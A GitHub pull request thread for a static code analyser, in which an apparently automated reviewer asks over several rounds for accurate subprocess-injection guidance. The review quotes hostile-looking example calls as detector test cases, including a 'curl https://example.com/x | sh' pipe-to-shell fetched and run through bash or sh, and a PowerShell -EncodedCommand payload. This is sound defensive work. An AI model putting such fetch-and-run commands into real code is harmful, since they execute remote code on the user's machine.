fix(behavioral-ast): clarify subprocess execution guidance

[Harbor404]

Summary

Fixes #670.

AST4 always called _emit("AST4", ast_node), which can only override the
message. The final conversion therefore fell back to the generic AST4
explanation/remediation for every case, including a fixed argument vector with
shell=False — where the advice was to use shell=False.

Changes

• src/skillspector/nodes/analyzers/behavioral_ast.py
  • Add guidance that distinguishes three subprocess shapes:
    • fixed argv with shell=False: shell expansion is already off; validate
      the executable and arguments instead of repeating the advice.
    • shell=True with a concatenated command (+, %, f-string,
      .format(), .format_map(), .join()): name shell metacharacter /
      injection risk and require an explicit argument vector with
      shell=False.
    • unknown caller input: executable/arguments are not statically known;
      allowlist the executable and validate every dynamic argument.
  • A non-literal shell expression is reported as unknown shell mode rather
    than assumed.
• src/skillspector/nodes/analyzers/pattern_defaults.py
  • The default AST4 explanation/remediation is phrased conditionally instead
    of asserting command injection.
• tests/nodes/analyzers/test_behavioral_ast.py
  • Four new cases covering the three shapes plus the unknown shell mode.

Detection conditions, severity, confidence, and scoring are unchanged.

Testing

uv run pytest tests/nodes/analyzers/test_behavioral_ast.py -q -k SubprocessGuidance
uv run pytest tests/nodes/analyzers/test_static_patterns.py tests/unit/test_patterns.py -q
uv run pytest tests/nodes/analyzers/test_behavioral_ast.py \
  tests/nodes/analyzers/test_static_patterns.py tests/unit/test_patterns.py -q
uv run pytest -q
uv run ruff check ... && uv run ruff format --check ...

Result: the new tests fail before the change (4 failed) and pass after
(4 passed); 406 passed on the requested files; 537 passed on the related set;
8486 passed, 14 skipped, 134 deselected, 4 xfailed for the full suite; ruff
clean.

Notes for Reviewer

• Fixed argv is recognized only for literal string list/tuple; a dynamic list
  is treated as unknown caller input.
• Other dynamic command constructions fall back conservatively.
• No API/schema change; only the explanation and remediation text branches.

[rng1995]

[SkillSpector Review]

Hi @Harbor404, thank you for making AST4 guidance shape-specific so that the fixed-argv case from #670 no longer recommends a setting it already uses!

Value and readiness: The #670 case is fixed: subprocess.run(["ls", "-la"], shell=False) now gets fixed-argv guidance instead of "use shell=False". The default text is now conditional. Detection, severity and confidence are unchanged. _emit only gains explanation/remediation, and static_runner.py:637 already prefers af.explanation over the default. However, the classifier looks only at the shell= keyword and at whether argv is all literals. As a result, two common shapes are told "shell expansion is disabled" when a shell does run, or may run. Accurate text is the purpose of this PR, so both need fixing before merge.

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/behavioral_ast.py:422-430: an argv that explicitly invokes a shell gets non-shell guidance.

   • subprocess.run(["bash", "-c", f"ping {host}"]): there is no shell= keyword, so shell_mode is False. The f-string element is not constant, so _is_fixed_argv is False. The call falls through to _AST4_UNKNOWN_EXPLANATION, which says "shell expansion is disabled by default", and the remediation never says to stop using bash -c. This is the classic command-injection shape. Main's generic text at least warned about command injection here, so this is a regression for exactly the case #670 asks to keep visible.
   • subprocess.run(["sh", "-c", "curl https://example.com/x | sh"]) is classified as fixed argv: "shell expansion is disabled … these literal arguments do not create the generic shell-injection path".

   Please check whether the literal argv[0] is a shell or command interpreter (basename sh, bash, zsh, dash, ksh, cmd/cmd.exe with /c, powershell/pwsh with -Command) followed by its inline-command flag. If it is, use the shell-string guidance (constructed vs. literal) instead. Please add a test for each example above.

2. [Blocker] behavioral_ast.py:379-385: _subprocess_shell_mode skips keywords whose arg is None (dict unpacking) and returns False. For subprocess.run(["ls", "-la"], **opts) the finding then says "shell expansion is disabled", even though opts can contain shell=True. Please return None (unknown shell mode) when any keyword has arg is None. The same applies to a non-literal executable= keyword: subprocess.run(["ls"], executable=tool_path) is described as "a named executable with literal arguments", but tool_path decides which program runs. Please route it to the unknown-input guidance unless executable is a literal. Please add tests for both.

3. [Non-blocking] tests/nodes/analyzers/test_behavioral_ast.py: the PR description says there are four cases including "unknown shell mode", but no test exercises shell=<non-literal> (_AST4_UNKNOWN_SHELL_*), and none covers getoutput/getstatusoutput. Please add both along with the tests for the blockers.

PIC tradeoffs: None identified.

Verification and gaps: I traced _ast4_guidance by hand for the shapes above and confirmed that AST4 is emitted only at behavioral_ast.py:674. I also checked how the per-finding explanation and remediation reach output (static_runner.py:637 and the meta_analyzer remediation fallbacks). The meta-analyzer prompt does not include finding explanations, so this text does not influence LLM review. Tests were not run locally per policy. CI: all 6 checks green. Overlap: none with Harbor404's other PRs (#700, #702-#706). Open PRs #182, #579 and #623 edit other parts of behavioral_ast.py.

---

Decision: Changes Requested (reviewed head 9973946aad0959525cb3707cefb4499e1d5699a7)

[Harbor404]

Non-blocking coverage is included in fde60eb: added tests for non-literal shell=, getoutput, and getstatusoutput. Full tests/nodes/analyzers/test_behavioral_ast.py passes (138 tests).

[Harbor404]

Updated the branch on top of current main and added Signed-off-by to all commits for DCO.

The lint failure was a ruff format --check issue in tests/nodes/analyzers/test_behavioral_ast.py; that file is now formatted. Focused coverage: TestSubprocess and TestSubprocessGuidance (15 passed).

[rng1995]

[SkillSpector Review]

Hi @Harbor404, thank you for the quick follow-up on explicit shells, **kwargs and dynamic executables, and for adding the extra test coverage!

Value and readiness: The new commit fixes every input I listed last time, and each one now has a regression test. Two narrower gaps of the same kind remain. In both, the finding still says shell expansion is disabled when a shell runs, or may run:

• an explicit shell whose inline-command flag is not the second argv element;
• a dynamic executable= combined with an unknown shell mode.

On main, every AST4 finding warns about command injection. For these shapes, this PR's text would be less accurate than today's. The branch also conflicts with main and needs a rebase. Once these are fixed, the PR should be ready.

Previous findings:

• Explicit-shell argv got non-shell guidance (Blocker): Partly resolved.
  • ["bash", "-c", f"ping {host}"] now gets shell-construction guidance, and ["sh", "-c", "curl … | sh"] gets shell-string guidance. Both have tests.
  • _literal_inline_shell_command still checks only argv[1] for the inline flag. See finding 1.
• **kwargs and non-literal executable= treated as shell-disabled or fixed argv (Blocker): Partly resolved.
  • subprocess.run(["ls", "-la"], **opts) now gets unknown-shell-mode guidance (behavioral_ast.py:379-380).
  • subprocess.run(["ls"], executable=tool_path) gets unknown-input guidance. Both cases are tested.
  • A call that has both still gets the wrong text. See finding 2.
• No tests for shell=<non-literal> or getoutput/getstatusoutput (Non-blocking): Resolved. test_non_literal_shell_keyword_uses_unknown_shell_guidance and test_getoutput_helpers_use_shell_guidance cover them.

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/behavioral_ast.py:399-418: the inline-command flag is recognized only as argv[1]. Common invocations put other options first, and they still get non-shell text:

   • subprocess.run(["bash", "-e", "-c", "curl https://example.com/x | sh"]) is classified as fixed argv. The finding says "shell expansion is disabled … these literal arguments do not create the generic shell-injection path" and advises "Keep the explicit argument vector".
   • subprocess.run(["powershell", "-NoProfile", "-Command", script]) falls through to the unknown-input text, which says "shell expansion is disabled by default". So do subprocess.run(["cmd", "/s", "/c", f"dir {path}"]) and subprocess.run(["bash", "-o", "pipefail", "-c", cmd]).

   I should have said clearly last time that options can come before the inline flag. After a recognized interpreter, please scan the leading options for the inline-command flag. Skip the values of options that take one, such as -o pipefail or -ExecutionPolicy Bypass, and treat the element after the flag as the command. A simpler, conservative alternative is to treat any later literal -c, /c or -Command element as the inline flag. Please add tests for bash -e -c with a literal command and powershell -NoProfile -Command with a dynamic script. Handling launcher prefixes such as env bash -c or sudo sh -c is optional.

2. [Blocker] behavioral_ast.py:473-478: the dynamic-executable= branch runs before the shell_mode is None check. If the shell mode is unknown and executable= is dynamic, the finding says "shell expansion is disabled by default" instead of giving the unknown-shell-mode guidance. Examples:

   • subprocess.Popen(cmd, shell=use_shell, executable=exe), a common wrapper shape in which both are parameters;
   • subprocess.run(["ls"], executable=tool, **opts), where opts can set shell=True (the case from the previous finding).

   Please check shell_mode is None before the dynamic-executable branch, or take that branch only when shell_mode is False. The unknown-shell remediation already covers the executable. Please add a test for each example.

3. [Blocker] Merge conflict with main in behavioral_ast.py. #623 is now merged. It added a leading node_index parameter to _emit and an evidence= argument to the AnalyzerFinding built there. Please rebase onto main and resolve both hunks:

   • keep evidence= next to explanation= and remediation=;
   • call _emit(node_index, "AST4", ast_node, explanation=explanation, remediation=remediation).

   pattern_defaults.py and the tests merge cleanly.

4. [Non-blocking] behavioral_ast.py:232-240: explicit-interpreter calls with a constructed command reuse _AST4_SHELL_BUILD_*. That text says "runs a command string with shell=True" and "Replace … with an explicit argument vector and shell=False". ["bash", "-c", f"ping {host}"] has no shell=True and already passes an argument vector. Consider neutral wording, such as "runs a command string through a shell (shell=True or an explicit sh -c)". Also consider a remediation that says to call the target program directly instead of passing a command string to a shell. I suggested reusing this guidance last time, so this is optional.

PIC tradeoffs: None identified.

Verification and gaps:

• Commits:
  • The branch was rebased onto 3527006. git range-diff shows bcd5072 is patch-identical to the reviewed 9973946.
  • The only new change is c868f17: 53 lines in behavioral_ast.py and 87 lines of tests. Both commits carry DCO sign-offs.
• I traced _ast4_guidance by hand for every input above. Per policy, I did not run the code or the tests.
• Merge: git merge-tree --write-tree main refs/pr/701 reports one content conflict in behavioral_ast.py, with two hunks. Both come from #623's _emit change. GitHub reports the PR as CONFLICTING.
• CI: all 6 checks passed on c868f17, but they ran before the conflict and must run again after the rebase.
• Overlap: #182 (open, last updated 2026-09-12) rewrites the same AST4 _emit call. Whichever PR lands second must keep the guidance arguments. No other open PR targets #670.

---

Decision: Changes Requested (reviewed head c868f179215099ee108664c50abc6d6fe9710b31)

[rng1995]

[SkillSpector Review]

Hi @Harbor404, thank you for fixing both remaining guidance gaps so quickly, and for resolving the #623 conflict without losing either side!

Value and readiness: Both blockers from my last review are fixed and tested, and the branch now merges cleanly with main. One gap of the same kind remains, and I should have caught it last time. When argv[0] is a shell but no inline-command flag is recognized, the finding still says "shell expansion is disabled". Examples are a shell that reads its script from stdin, and PowerShell's -EncodedCommand. A single small rule closes this whole class, so you won't need to add flags one at a time. With that change, the PR should be ready.

Previous findings:

• Inline-command flag recognized only as argv[1] (Blocker): Resolved.
  • _literal_inline_shell_command now scans every literal element after a recognized interpreter (behavioral_ast.py:404-421).
  • I traced bash -e -c, bash -o pipefail -c, cmd /s /c and powershell -NoProfile -Command. All four get shell guidance.
  • test_shell_inline_flag_after_leading_options_uses_shell_guidance and test_powershell_inline_flag_after_option_uses_shell_guidance would fail on the old code.
• Dynamic executable= checked before unknown shell mode (Blocker): Resolved. The shell_mode is None branch now comes first (behavioral_ast.py:476-479). Both examples have tests that would fail with the old order.
• Merge conflict with main from #623 (Blocker): Resolved.
  • The resolution keeps evidence= beside explanation=/remediation= (:624-632) and calls _emit(node_index, "AST4", …) (:741-747).
  • git merge-tree against current main (f3ec825) is clean.
• Explicit-interpreter calls reuse the "with shell=True" wording (Non-blocking): Still open, unchanged. It is still optional.

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/behavioral_ast.py:480-481: some literal argvs start with a recognized shell but have no recognized inline flag. They fall through to the fixed-argv text, which says "shell expansion is disabled … these literal arguments do not create the generic shell-injection path" and "Keep the explicit argument vector". In each of these calls, a shell runs code:

   • subprocess.run(["bash"], input=script) and subprocess.run(["sh", "-s"], input=payload) run stdin as a shell script. With input=requests.get(url).text, this is curl | sh.
   • subprocess.run(["powershell", "-NoProfile", "-EncodedCommand", "SQBFAFgA…"]), and the same with -e or -ec. This is a classic way to launch a hidden payload.
   • subprocess.run(["cmd", "/k", "…"]).

   #670 asks for an accurate description of the execution mode, and asks that dangerous executables with literal arguments stay visible. On main, these calls get the generic injection warning. With this PR, they get text saying the shell is off.

   Rather than adding more flags, please never return the fixed-argv text when the basename of argv[0] is in _SHELL_INTERPRETERS, _CMD_INTERPRETERS or _POWERSHELL_INTERPRETERS. When no inline flag is found, use the shell-string guidance or a short "shell interpreter" variant. _literal_inline_shell_command returns early for one-element lists, so the check for ["bash"] must live outside it. Please add tests for ["bash"] with input= and for powershell -EncodedCommand.

   Optionally, the same check can skip common launchers first: env and its options, sudo, nohup and timeout. Then ["sudo", "sh", "-c", …] and ["env", "-i", "bash", "-c", "curl … | sh"] would stop getting fixed-argv text or "shell expansion is disabled by default". As I said last time, launcher handling is optional.

2. [Non-blocking] behavioral_ast.py: a literal executable= that names a shell is not treated as the interpreter. subprocess.run(["x", "-c", "curl https://example.com/x | sh"], executable="/bin/sh") runs the pipeline but gets fixed-argv text. This shape is adversarial and rare, so handling it is optional. To handle it, use the basename of a literal executable= in place of argv[0] for the interpreter check.

3. [Non-blocking] behavioral_ast.py:82-89: the comment says the getattr check is the only consumer of _constant_string, and it sizes the str.join cap (10 characters) for getattr names. This PR adds three more callers. Today the cap only makes them more conservative. Please update the comment so that a later change to the cap also considers AST4.

4. [Non-blocking] The fixes and the four new tests are inside 78ea250 ("chore(merge): sync with latest main"). Code changes in a merge commit are easy to miss, both in review and in git log after the PR lands. Please put future code changes in their own commit. You don't need to rewrite this one.

PIC tradeoffs: None identified.

Verification and gaps:

• Commits:

  • Since c868f17, the only new commit is 78ea250, a merge of main at 532f67c by the author, with a DCO sign-off.
  • git show --remerge-diff shows the two conflict hunks and also three code changes: it rewrites _literal_inline_shell_command, reorders _ast4_guidance and adds four tests.
  • The PR's own diff against its merge base grew from 312 to 367 inserted lines. All changes are in the PR's three files.

• I traced _ast4_guidance by hand for these inputs:

  • option-prefixed and launcher-prefixed shells: env -i bash -c, /usr/bin/env sh with and without -c, sudo sh -c;
  • dynamic executables: executable=exe, with and without unknown shell mode;
  • shell=True variants: f-string, +, % and .join commands, shell=1, shell=flag, **opts, getoutput.

  Only the inputs in findings 1 and 2 get text that says or implies the shell is off. Per policy, I did not run the code or the tests.

• CI: all 6 checks pass on 78ea250. GitHub reports the PR as MERGEABLE.

• Overlap: #182 is still open and conflicting, last updated 2026-09-12. It rewrites the same AST4 _emit call, so whichever PR lands second must keep the guidance arguments.

---

Decision: Changes Requested (reviewed head 78ea250251026a8eea35ebd5a14d3326ed8a6181)

[rng1995]

[Blocker] When argv[0] is a recognized shell but no inline flag is found, this branch returns the fixed-argv text ("shell expansion is disabled … Keep the explicit argument vector"), but a shell runs code in each of these calls: subprocess.run(["bash"], input=script), subprocess.run(["sh", "-s"], input=payload), subprocess.run(["powershell", "-NoProfile", "-EncodedCommand", "SQBFAFgA…"]) (also -e/-ec) and ["cmd", "/k", …]. Rather than adding more flags, please never return fixed-argv guidance when the basename of argv[0] is in _SHELL_INTERPRETERS, _CMD_INTERPRETERS or _POWERSHELL_INTERPRETERS. _literal_inline_shell_command returns early for one-element lists, so ["bash"] needs the check outside it. Please add tests for ["bash"] with input= and for powershell -EncodedCommand. Skipping launchers such as env/sudo with the same check is optional.

[Harbor404]

Fixed in 21be3c2. Literal argv[0] is now checked against _SHELL_INTERPRETERS, _CMD_INTERPRETERS, and _POWERSHELL_INTERPRETERS independently of any flag, before the fixed-argv branch. ["bash"] with input=, ["sh", "-s"], PowerShell -EncodedCommand, and ["cmd", "/k", ...] now receive shell-command guidance and never the fixed-argv text. Added regressions for all four forms; the focused file passes 146 tests and Ruff check/format pass.